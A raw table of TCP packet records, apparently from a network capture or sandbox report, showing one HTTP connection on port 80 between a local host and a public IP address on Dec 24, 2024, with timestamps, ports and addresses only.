Dec 24, 2024 22:27:13.283968925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.283971071 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.284006119 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.284054041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.284220934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.284275055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.284305096 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.284331083 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.284986973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.285043955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.285132885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.285789967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.285855055 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.285949945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.286009073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.286693096 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.286755085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.286921978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.286978006 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.287383080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.287470102 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.287552118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.287606955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.288083076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.288127899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.288150072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.288228035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.288678885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.288764000 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.288817883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.288876057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.289459944 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.289514065 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.289602995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.289669037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.290206909 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.290260077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.290308952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.290359020 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.291050911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.291088104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.291102886 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.291131020 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.291676044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.291821957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.291886091 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.292442083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.292505980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.292593956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.292654991 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.293157101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.293215036 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.293421030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.293469906 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.293931961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.294064999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.294116974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.294656992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.294713020 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.294789076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.294889927 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.295389891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.295501947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.295541048 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.295589924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.296132088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.296184063 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.296288967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.296340942 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.296889067 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.296940088 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.296998978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.297044992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.297645092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.297743082 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.297799110 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.298558950 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.298620939 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.298656940 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.298712015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.299127102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.299185038 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.299221992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.299273968 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.299858093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.299911022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.300026894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.300071955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.300656080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.300770998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.300801992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.300854921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.301347017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.301397085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.301668882 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.301711082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.302217007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.302252054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.302313089 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.302824020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.302875042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.302973032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.303031921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.303563118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.303711891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.303767920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.304286957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.304344893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.304457903 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.304511070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.305007935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.305059910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.305146933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.305192947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.305844069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.305892944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.305941105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.305994987 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.306493044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.306543112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.306637049 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.306701899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.307284117 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.307360888 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.307415009 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.307990074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.308038950 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.308126926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.308176994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.308725119 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.308769941 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.308856964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.308927059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.309577942 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.309643984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.309684038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.309731007 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.310225010 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.310281992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.310872078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.310920000 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.310981989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.311016083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.311027050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.311058044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.311698914 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.311749935 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.311789989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.311826944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.312414885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.312464952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.312508106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.312556982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.313318014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.313365936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.313448906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.313519955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.314133883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.314179897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.314263105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.314996004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.315046072 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.315152884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.315201044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.315781116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.315829992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.315968037 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.316020966 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.323569059 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.323623896 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.323652029 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.323712111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.359076023 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.359133959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.359169960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.359225035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.359414101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.359469891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.359533072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.359585047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.360222101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.360270977 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.360287905 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.360336065 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.360927105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.360980988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.361011982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.361066103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.361639023 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.361691952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.361807108 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.361859083 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.362391949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.362442970 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.362488031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.362536907 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.363127947 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.363179922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.363236904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.363292933 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.363899946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.363950968 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.364027023 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.364073992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.364633083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.364687920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.364748001 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.364804983 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.368696928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.368753910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.368777990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.368824005 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.369146109 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.369198084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.369198084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.369240046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.407334089 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.526956081 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.828691959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.828759909 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.828810930 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.828847885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.828866959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.828908920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.829086065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.829125881 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.829144955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.829174042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.829238892 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.829274893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.829292059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.829330921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.829560041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.829595089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.829617977 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.829648972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.829797983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.829832077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.829848051 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.829878092 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.830193996 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.830252886 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.830322981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.830358982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.830382109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.830400944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.830560923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.830621958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.831089020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.831147909 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.831204891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.831238985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.831262112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.831283092 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.831453085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.831513882 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.831924915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.831978083 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.832052946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.832103014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.832109928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.832155943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.832247019 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.832302094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.832792997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.832849026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.832909107 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.832943916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.832966089 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.832988977 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.833168030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.833230972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.833684921 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.833722115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.833756924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.833758116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.833832979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.833865881 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.833870888 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.833909035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.834552050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.834587097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.834615946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.834623098 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.834645033 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.834669113 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.834719896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.834785938 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.835382938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.835439920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.835474968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.835532904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.835540056 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.835582972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.835820913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.835875034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.836301088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.836335897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.836354971 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.836385012 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.836457968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.836493015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.836503029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.836541891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.837302923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.837358952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.837420940 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.837455034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.837471008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.837508917 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.837687969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.837747097 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.838284969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.838340998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.838421106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.838455915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.838474989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.838498116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.838749886 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.838808060 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.839395046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.839447975 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.839456081 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.839482069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.839495897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.839534998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.839673996 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.839734077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.840078115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.840152979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.840156078 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.840187073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.840205908 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.840282917 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.840295076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.840342045 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.840692997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.840751886 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:13.841212034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:13.841264963 CET	49749	80	192.168.2.4	135.181.65.216
